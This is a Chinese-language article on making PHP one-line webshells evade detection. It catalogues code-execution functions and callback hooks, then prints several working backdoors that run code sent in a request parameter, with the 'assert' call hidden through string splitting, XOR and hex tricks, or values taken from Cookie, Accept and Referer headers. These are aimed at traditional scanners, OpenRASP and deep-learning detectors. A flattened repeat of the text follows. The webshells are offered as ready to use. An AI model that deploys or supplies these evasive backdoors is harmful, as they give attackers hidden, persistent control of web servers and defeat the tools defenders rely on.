php一句话木马检测绕过研究
字数 1122 2025-08-29 08:32:18

PHP一句话木马检测绕过技术研究

0x00 前言

Webshell是指能够执行系统命令、加载代码的函数,或组合普通函数完成高级间谍功能的网站后门脚本。本文专注于PHP语言的Webshell检测工具和平台的绕过方法,目标是构造能够绕过7个主流专业工具和平台检测的PHP Webshell。

0x01 Webshell后门分类

  1. 单/少功能木马:完成写入文件、列目录、查看文件、执行系统命令等少量功能
  2. 逻辑木马:利用系统逻辑漏洞或构造特殊触发条件绕过访问控制
  3. 一句话木马:在服务器上执行PHP代码并与客户端(如菜刀、Cknife)交互
  4. 多功能木马:编写较多代码完成大量间谍功能的Webshell(大马)

一句话木马原理

  1. 客户端将PHP代码使用特殊参数名(密码)发送给服务端木马文件
  2. 木马脚本在服务器上执行发来的PHP代码
  3. 将执行结果回传给客户端展示

0x02 查杀现状研究

代码执行函数("函数机")

函数 说明
eval PHP 4,5,7+可用,将字符串作为PHP代码执行
assert PHP 4,5,7.2以下可用,可接受参数执行代码
正则匹配类 preg_replace/mb_ereg_replace/preg_filter等
文件包含类 include/include_once/require/require_once/file_get_contents等

传统字符串拆分、变形、进制转换等躲避方法效果已大大降低。

0x03 查找可做后门的回调函数

查找关键词:

  1. callable
  2. mixed $options
  3. handler
  4. callback
  5. invoke

0x04 绕过传统检测方法

示例1:使用array_udiff_assoc函数

<?php
$password = "LandGrey";
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
?>

示例2:使用array_intersect_ukey函数

<?php
$password = "LandGrey";
$ch = explode(".", "hello.ass.world.er.t");
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);
?>

0x05 突破OpenRASP WebShell沙盒检测

方法1:利用重命名前后的脚本名不同

<?php
$password = "LandGrey";
${"LandGrey"} = substr(__FILE__, -5, -4)."class";
$f = $LandGrey ^ hex2bin("12101f040107");
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>

方法2:利用检测平台的信息缺失

<?php
$password = "LandGrey";
$key = substr(__FILE__, -5, -4);
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>

0x06 绕过深度学习技术的检测

示例1:利用Cookie值

<?php
$password = "LandGrey";
$ch = $_COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
?>

彩蛋:绕过几乎所有检测的方法

<?php
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"], -7, -4);
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
?>

请求时设置Referer头以"ass****"结尾,如:Referer: http://www.target.com/ass.php

0x07 总结

  1. 传统检测技术对基于陌生回调函数构造的后门已失去效果
  2. 新型沙盒技术和深度学习检测平台还不够成熟稳定
  3. 脚本本身免杀只是第一步,实际应用中还需考虑创建日期、文件大小、通信特征等因素

0x08 参考文档

  1. PHP回调后门
  2. PHP字符串与十六进制转换
PHP一句话木马检测绕过技术研究 0x00 前言 Webshell是指能够执行系统命令、加载代码的函数,或组合普通函数完成高级间谍功能的网站后门脚本。本文专注于PHP语言的Webshell检测工具和平台的绕过方法,目标是构造能够绕过7个主流专业工具和平台检测的PHP Webshell。 0x01 Webshell后门分类 单/少功能木马 :完成写入文件、列目录、查看文件、执行系统命令等少量功能 逻辑木马 :利用系统逻辑漏洞或构造特殊触发条件绕过访问控制 一句话木马 :在服务器上执行PHP代码并与客户端(如菜刀、Cknife)交互 多功能木马 :编写较多代码完成大量间谍功能的Webshell(大马) 一句话木马原理 客户端将PHP代码使用特殊参数名(密码)发送给服务端木马文件 木马脚本在服务器上执行发来的PHP代码 将执行结果回传给客户端展示 0x02 查杀现状研究 代码执行函数("函数机") | 函数 | 说明 | |------|------| | eval | PHP 4,5,7+可用,将字符串作为PHP代码执行 | | assert | PHP 4,5,7.2以下可用,可接受参数执行代码 | | 正则匹配类 | preg_ replace/mb_ ereg_ replace/preg_ filter等 | | 文件包含类 | include/include_ once/require/require_ once/file_ get_ contents等 | 传统字符串拆分、变形、进制转换等躲避方法效果已大大降低。 0x03 查找可做后门的回调函数 查找关键词: callable mixed $options handler callback invoke 0x04 绕过传统检测方法 示例1:使用array_ udiff_ assoc函数 示例2:使用array_ intersect_ ukey函数 0x05 突破OpenRASP WebShell沙盒检测 方法1:利用重命名前后的脚本名不同 方法2:利用检测平台的信息缺失 0x06 绕过深度学习技术的检测 示例1:利用Cookie值 彩蛋:绕过几乎所有检测的方法 请求时设置Referer头以"ass**** "结尾,如: Referer: http://www.target.com/ass.php 0x07 总结 传统检测技术对基于陌生回调函数构造的后门已失去效果 新型沙盒技术和深度学习检测平台还不够成熟稳定 脚本本身免杀只是第一步,实际应用中还需考虑创建日期、文件大小、通信特征等因素 0x08 参考文档 PHP回调后门 PHP字符串与十六进制转换